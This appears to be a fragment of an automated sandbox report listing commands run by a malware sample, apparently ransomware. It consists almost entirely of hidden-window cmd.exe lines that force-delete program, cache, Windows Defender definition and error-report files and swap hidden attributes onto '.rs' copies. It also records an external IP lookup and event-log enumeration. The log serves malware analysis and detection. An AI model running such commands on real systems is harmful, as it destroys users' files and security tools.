- '<SYSTEM32>\cmd.exe' /c "attrib -h "C:\Users\Default\NTUSER.DAT""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\Device Stage\Device\{8702d817-5aad-4674-9ef3-4d3decd87120}\background.png""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Sun\Java\Java Update\jaureglist.xml""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\Smart Tag\FBIBLIO.DLL""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Mozilla\updates\E7CF176E110C211B\update-config.json""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\Smart Tag\1033\MCABOUT.HTM""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "attrib +h "C:\Users\Default\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini.rs""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Mozilla\updates\308046B0AF4A39CB\update-config.json""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\MSOCache\All Users\{90140000-0044-0409-1000-0000000FF1CE}-C\InfLR.cab""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\Adobe\ARM\1.0\AdobeARM.exe""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\Help\1042\hxdsui.dll""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\MSOCache\All Users\{90140000-0043-0409-1000-0000000FF1CE}-C\Office32MUI.msi""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft Help\Hx.hxn""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\MSOCache\All Users\{90140000-001A-0409-1000-0000000FF1CE}-C\OutlkLR.cab""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "attrib +h "%ALLUSERSPROFILE%\Microsoft Help\Hx.hxn.rs""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\Portal\1033\PortalConnect.dll""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\MSClientDataMgr\MSCDM.DLL""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\MSInfo\msinfo32.exe""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\MSOCache\All Users\{90140000-0016-0409-1000-0000000FF1CE}-C\ExcelLR.cab""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\Portal\PortalConnectCore.dll""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "attrib -h "%ALLUSERSPROFILE%\Microsoft Help\Hx.hxn""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "<Full path to file>""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\Stationery\Bears.htm""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\ink\Alphabet.xml""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\Help\1046\hxdsui.dll""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\Adobe\Reader\DC\Linguistics\Providers\Adobe\Products.txt""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\Device Stage\Device\{113527a4-45d4-4b6f-b567-97838f1b04b0}\background.png""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\Device Stage\Task\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\folder.ico""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\Help\3082\hxdsui.dll""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\Adobe\Reader\DC\Linguistics\LanguageNames2\DisplayLanguageNames.en_CA.txt""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\Assistance\Client\1.0\en-US\Help_CValidator.H1D""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\MSInfo\en-US\msinfo32.exe.mui""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "attrib +h "%ALLUSERSPROFILE%\Microsoft\Assistance\Client\1.0\en-US\Help_CValidator.H1D.rs""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\OfficeSoftwareProtectionPlatform\OSPPC.DLL""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "attrib -h "%ALLUSERSPROFILE%\Microsoft\Assistance\Client\1.0\en-US\Help_CValidator.H1D""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\Help\2052\hxdsui.dll""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\MSOCache\All Users\{90140000-002C-0409-1000-0000000FF1CE}-C\Proofing.msi""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\MSOCache\All Users\{90140000-00BA-0409-1000-0000000FF1CE}-C\GrooveLR.cab""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\MSOCache\All Users\{90140000-002C-0409-1000-0000000FF1CE}-C\Proof.en\Proof.cab""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\MSOCache\All Users\{90140000-00A1-0409-1000-0000000FF1CE}-C\OneNoteMUI.msi""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\Help\1049\hxdsui.dll""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\Help\Hx.HxC""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\OFFICE14\1033\MSOINTL.DLL""' (with hidden window)
- '<SYSTEM32>\cmd.exe' /c "attrib -h -r -s "%CommonProgramFiles(x86)%\microsoft shared\MSInfo\en-US\msinfo32.exe.mui""' (with hidden window)
Restarts the analyzed sample
Executes the following
- '<SYSTEM32>\cmd.exe' /c "nslookup myip.opendns.com resolver1.opendns.com"
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\Search\Data\Applications\Windows\MSS.chk""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\TRANSLAT\FREN\MSB1FREN.DLL""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Package Cache\{42667D2E-B054-46C1-9D46-2EE1332C14C1}v14.29.30133\packages\vcRuntimeAdditional_x86\cab1.cab""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\BLUEPRNT\BLUEPRNT.ELM""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Package Cache\{37B8F9C7-03FB-3253-8781-2517C99D7C00}v11.0.61030\packages\vcRuntimeAdditional_amd64\cab1.cab""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\BLUECALM\BLUECALM.ELM""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\VSTA\Pipeline.v10.0\HostSideAdapters\Microsoft.VisualStudio.Tools.Applications.HostAdapter.v10.0.dll""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\Web Folders\1033\MSOSVINT.DLL""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\BOLDSTRI\BOLDSTRI.ELM""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\Windows\Caches\cversions.2.db""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Package Cache\{6CD9E9ED-906D-4196-8DC3-F987D2F6615F}v14.29.30133\packages\vcRuntimeMinimum_amd64\cab1.cab""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\TRANSLAT\MSB1AR.LEX""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\VSTO\10.0\1033\VSTOInstallerUI.dll""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\BLENDS\BLENDS.ELM""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Package Cache\{929FBD26-9020-399B-9A7A-751D61F0B942}v12.0.21005\packages\vcRuntimeAdditional_amd64\cab1.cab""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\Windows NT\MSScan\WelcomeScan.jpg""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\CANYON\CANYON.ELM""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\CASCADE\CASCADE.ELM""
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Command Prompt.lnk""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Package Cache\{ca67548a-5ebe-413a-b50c-4b9ceb6d66c6}\vcredist_x64.exe""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\BREEZE\BREEZE.ELM""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Package Cache\{9D29FC96-9EEE-4253-943F-96B3BBFDD0B6}v14.16.27024\packages\vcRuntimeAdditional_amd64\cab1.cab""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\Web Server Extensions\14\BIN\1033\FPEXT.MSG""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Package Cache\{A749D8E6-B613-3BE3-8F5F-045C84EBA29B}v12.0.21005\packages\vcRuntimeMinimum_amd64\cab1.cab""
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Desktop.ini""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\Windows\DeviceMetadataStore\en-US\34e548a8-3268-4dde-bedf-c40f9b6c814a.devicemetadata-ms""
- '<SYSTEM32>\cmd.exe' /c "attrib +h "C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Desktop.ini.rs""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\Windows NT\MSFax\Common Coverpages\en-US\confident.cov""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\Search\Data\Applications\Windows\GatherLogs\SystemIndex\SystemIndex.1.Crwl""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\Web Server Extensions\14\BIN\FPSRVUTL.DLL""
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\CAPSULES\CAPSULES.ELM""
- '<SYSTEM32>\cmd.exe' /c "attrib -h "C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Accessories\Accessibility\Desktop.ini""
- '<SYSTEM32>\cmd.exe' /c "attrib +h "C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini.rs""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\VBA\VBA7\1033\FM20.CHM""
- '<SYSTEM32>\cmd.exe' /c "attrib -h "C:\Users\Default\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Maintenance\Desktop.ini""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\VSTA\Pipeline.v10.0\PipelineSegments.store""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\VGX\VGX.dll""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\TRANSLAT\ENES\MSB1ENES.ITS""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\Network\Downloader\qmgr0.dat""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\OfficeSoftwareProtectionPlatform\Cache\cache.dat""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\VSTA\AppInfoDocument\AddIns.store""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\VSTA\8.0\Microsoft.VisualStudio.Tools.Applications.Blueprints.tlb""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\TRANSLAT\ARFR\MSB1ARFR.ITS""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\OfficeSoftwareProtectionPlatform\tokens.dat""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\Web Server Extensions\14\BIN\FPSRVUTL.DLL""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Package Cache\{13A4EE12-23EA-3371-91EE-EFB36DDFFF3E}v12.0.21005\packages\vcRuntimeMinimum_x86\cab1.cab""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\TextConv\MSCONV97.DLL""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\VSTO\10.0\1033\VSTOInstallerUI.dll""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\VSTO\10.0\VSTOInstaller.config""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Package Cache\{295d1583-fdb9-414b-a4c8-da539362a26b}\VC_redist.x64.exe""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Package Cache\{33d1fd90-4274-48a1-9bc1-97e33d9c2d6f}\vcredist_x86.exe""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\Adobe\Reader\DC\Linguistics\Providers\Plugins2\AdobeHunspellPlugin\Abbreviations\en_US\List.txt""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\VC\msdia100.dll""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\RAC\PublishedData\RacWmiDatabase.sdf""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\TRANSLAT\FRAR\MSB1FRAR.ITS""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Package Cache\{38b2c744-ad08-4d5b-91a2-3fb6f739ff3e}\VC_redist.x86.exe""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\AXIS\AXIS.ELM""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\VSTA\Pipeline.v10.0\Contracts\Microsoft.VisualStudio.Tools.Applications.Contract.v10.0.dll""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\VBA\VBA7\VBE7.DLL""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\User Account Pictures\Default Pictures\usertile10.bmp""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\ARCTIC\ARCTIC.ELM""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\TRANSLAT\ESEN\MSB1ESEN.DLL""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\VSTO\10.0\VSTOInstaller.config""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\VSTA\Pipeline.v10.0\AddInViews\Microsoft.Office.Tools.v9.0.dll""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\VSTO\vstoee.dll""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\AFTRNOON\AFTRNOON.ELM""
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\Users\Default\AppData\Roaming\Microsoft\Windows\SendTo\Compressed (zipped) Folder.ZFSendToTarget""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles(x86)%\microsoft shared\VSTA\Pipeline.v10.0\AddInSideAdapters\Microsoft.VisualStudio.Tools.Applications.AddInAdapter.v10.0.dll""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\User Account Pictures\guest.bmp""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\TRANSLAT\ENFR\MSB1ENFR.ITS""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\RAC\StateData\RacDatabase.sdf""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\Web Folders\MSOSV.DLL""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\ECHO\ECHO.ELM""
- '<SYSTEM32>\cmd.exe' /c "attrib -h -r -s "%CommonProgramFiles(x86)%\System\DirectDB.dll""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\Windows Defender\Support\MPLog-07132009-221054.log""
- '<SYSTEM32>\wevtutil.exe' el
- '<SYSTEM32>\attrib.exe' +h "%LOCALAPPDATA%\win32cryp.dll"
- '<SYSTEM32>\cmd.exe' /c wevtutil.exe el
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\SUMIPNTG\PREVIEW.GIF""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\SPRING\PREVIEW.GIF""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\STRTEDGE\PREVIEW.GIF""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\THEMES.INF""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\STUDIO\PREVIEW.GIF""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\SLATE\PREVIEW.GIF""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\SONORA\PREVIEW.GIF""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\SKY\PREVIEW.GIF""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\SATIN\PREVIEW.GIF""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\RIPPLE\PREVIEW.GIF""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\RICEPAPR\PREVIEW.GIF""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\RMNSQUE\PREVIEW.GIF""
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\kms\KMS_VL_ALL_AIO_Debug.log""
- '<SYSTEM32>\attrib.exe' -h "C:\$Recycle.Bin\S-1-5-21-1238866942-1249195528-555854008-1000\desktop.ini"
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\Windows Defender\Definition Updates\{D2B0B133-42ED-44D3-809A-46EBB62BA863}\mpasbase.vdm""
- '<SYSTEM32>\attrib.exe' -h "%ProgramFiles%\desktop.ini"
- '<SYSTEM32>\attrib.exe' +h "C:\Users\desktop.ini.rs"
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\Filters\odffilt.dll""
- '<SYSTEM32>\cmd.exe' /c "attrib -h -r -s "%ProgramFiles%\desktop.ini""
- '<SYSTEM32>\attrib.exe' +h "%ProgramFiles%\desktop.ini.rs"
- '<SYSTEM32>\cmd.exe' /c "attrib -h -r -s "%CommonProgramFiles%\System\ado\adojavas.inc""
- '<SYSTEM32>\attrib.exe' -h "C:\Users\desktop.ini"
- '<SYSTEM32>\cmd.exe' /c "attrib -h -r -s "C:\$Recycle.Bin\S-1-5-21-1238866942-1249195528-555854008-1000\desktop.ini""
- '<SYSTEM32>\cmd.exe' /c "attrib -h -r -s "%CommonProgramFiles(x86)%\microsoft shared\ink\1.0\Microsoft.Ink.dll""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\GRPHFLT\CGMIMP32.FLT""
- '<SYSTEM32>\attrib.exe' -h "%ProgramFiles(x86)%\desktop.ini"
- '<SYSTEM32>\cmd.exe' /c "del /f "%ProgramFiles(x86)%\Adobe\Acrobat Reader DC\Reader\A3DUtils.dll""
- '<SYSTEM32>\attrib.exe' +h "%ProgramFiles(x86)%\desktop.ini.rs"
- '<SYSTEM32>\cmd.exe' /c "attrib -h -r -s "%CommonProgramFiles(x86)%\microsoft shared\DAO\dao360.dll""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ProgramFiles(x86)%\Adobe\Acrobat Reader DC\Resource\ENUtxt.pdf""
- '<SYSTEM32>\cmd.exe' /c "attrib -h -r -s "%ProgramFiles(x86)%\desktop.ini""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\PIXEL\PIXEL.ELM""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\OFFICE\AssetLibrary.ico""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\REFINED\PREVIEW.GIF""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\EDGE\EDGE.ELM""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Package Cache\{fd9b6070-d13e-45dc-819b-41806bf45b6b}\VC_redist.x64.exe""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\DEEPBLUE\DEEPBLUE.ELM""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Package Cache\{F1B0FB3A-E0EA-47A6-9383-3650655403B0}v14.16.27024\packages\vcRuntimeMinimum_amd64\cab1.cab""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\Windows\Start Menu\Default Programs.lnk""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\Windows\Ringtones\desktop.ini""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Package Cache\{BD95A8CD-1D9F-35AD-981A-3E7925026EBB}v11.0.61030\packages\vcRuntimeMinimum_x86\cab1.cab""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Oracle\Java\installcache_x64\baseimagefam8""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\CONCRETE\CONCRETE.ELM""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Package Cache\{f65db027-aff3-4070-886a-0d87064aabb1}\vcredist_x86.exe""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Package Cache\{E699E009-1C3C-4E50-9B57-2B39F0954C7F}v14.29.30133\packages\vcRuntimeAdditional_amd64\cab1.cab""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\COMPASS\COMPASS.ELM""
- '<SYSTEM32>\cmd.exe' /c "attrib +h "%ALLUSERSPROFILE%\Microsoft\Windows\Ringtones\desktop.ini.rs""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Package Cache\{B175520C-86A2-35A7-8619-86DC379688B9}v11.0.61030\packages\vcRuntimeAdditional_x86\cab1.cab""
- '<SYSTEM32>\cmd.exe' /c "attrib -h "%ALLUSERSPROFILE%\Microsoft\Windows\Ringtones\desktop.ini""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\Windows NT\MSFax\VirtualInbox\en-US\WelcomeFax.tif""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\ECLIPSE\ECLIPSE.ELM""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Package Cache\{CF2BEA3C-26EA-32F8-AA9B-331F7E34BA97}v11.0.61030\packages\vcRuntimeMinimum_amd64\cab1.cab""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\PROFILE\PREVIEW.GIF""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Package Cache\{EC9807DE-B577-47B1-A024-0251805ACF24}v14.29.30133\packages\vcRuntimeMinimum_x86\cab1.cab""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\QUAD\PREVIEW.GIF""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\LEVEL\LEVEL.ELM""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\PAPYRUS\PAPYRUS.ELM""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\Windows\WER\ReportQueue\NonCritical_x64_528c94ccf5464e2e06249b41105333fcda5052_cab_01ecae6c\display.inf""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\NETWORK\NETWORK.ELM""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\Windows\WER\ReportQueue\NonCritical_x64_4a8ed64bf1962bf234c1a7153259451034e674_cab_0745940a\Report.wer""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Microsoft\Windows\WER\ReportQueue\NonCritical_x64_4017a4527469f9d5b499a101a973ca853f881d9_cab_01ecaf57\Report.wer""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\LAYERS\LAYERS.ELM""
- '<SYSTEM32>\cmd.exe' /c "del /f "%ALLUSERSPROFILE%\Package Cache\{F8CFEB22-A2E7-3971-9EDA-4B11EDEFC185}v12.0.21005\packages\vcRuntimeAdditional_x86\cab1.cab""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\JOURNAL\JOURNAL.ELM""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\INDUST\INDUST.ELM""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\IRIS\IRIS.ELM""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\ICE\ICE.ELM""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\EVRGREEN\EVRGREEN.ELM""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\EXPEDITN\EXPEDITN.ELM""
- '<SYSTEM32>\cmd.exe' /c "del /f "%CommonProgramFiles%\Microsoft Shared\THEMES14\RADIAL\PREVIEW.GIF""
- '<SYSTEM32>\attrib.exe' +h "C:\$Recycle.Bin\S-1-5-21-1238866942-1249195528-555854008-1000\desktop.ini.rs"
- '<SYSTEM32>\cmd.exe' /c "del /f "C:\MSOCache\All Users\{90140000-0115-0409-1000-0000000FF1CE}-C\1033\dwintl20.dll""
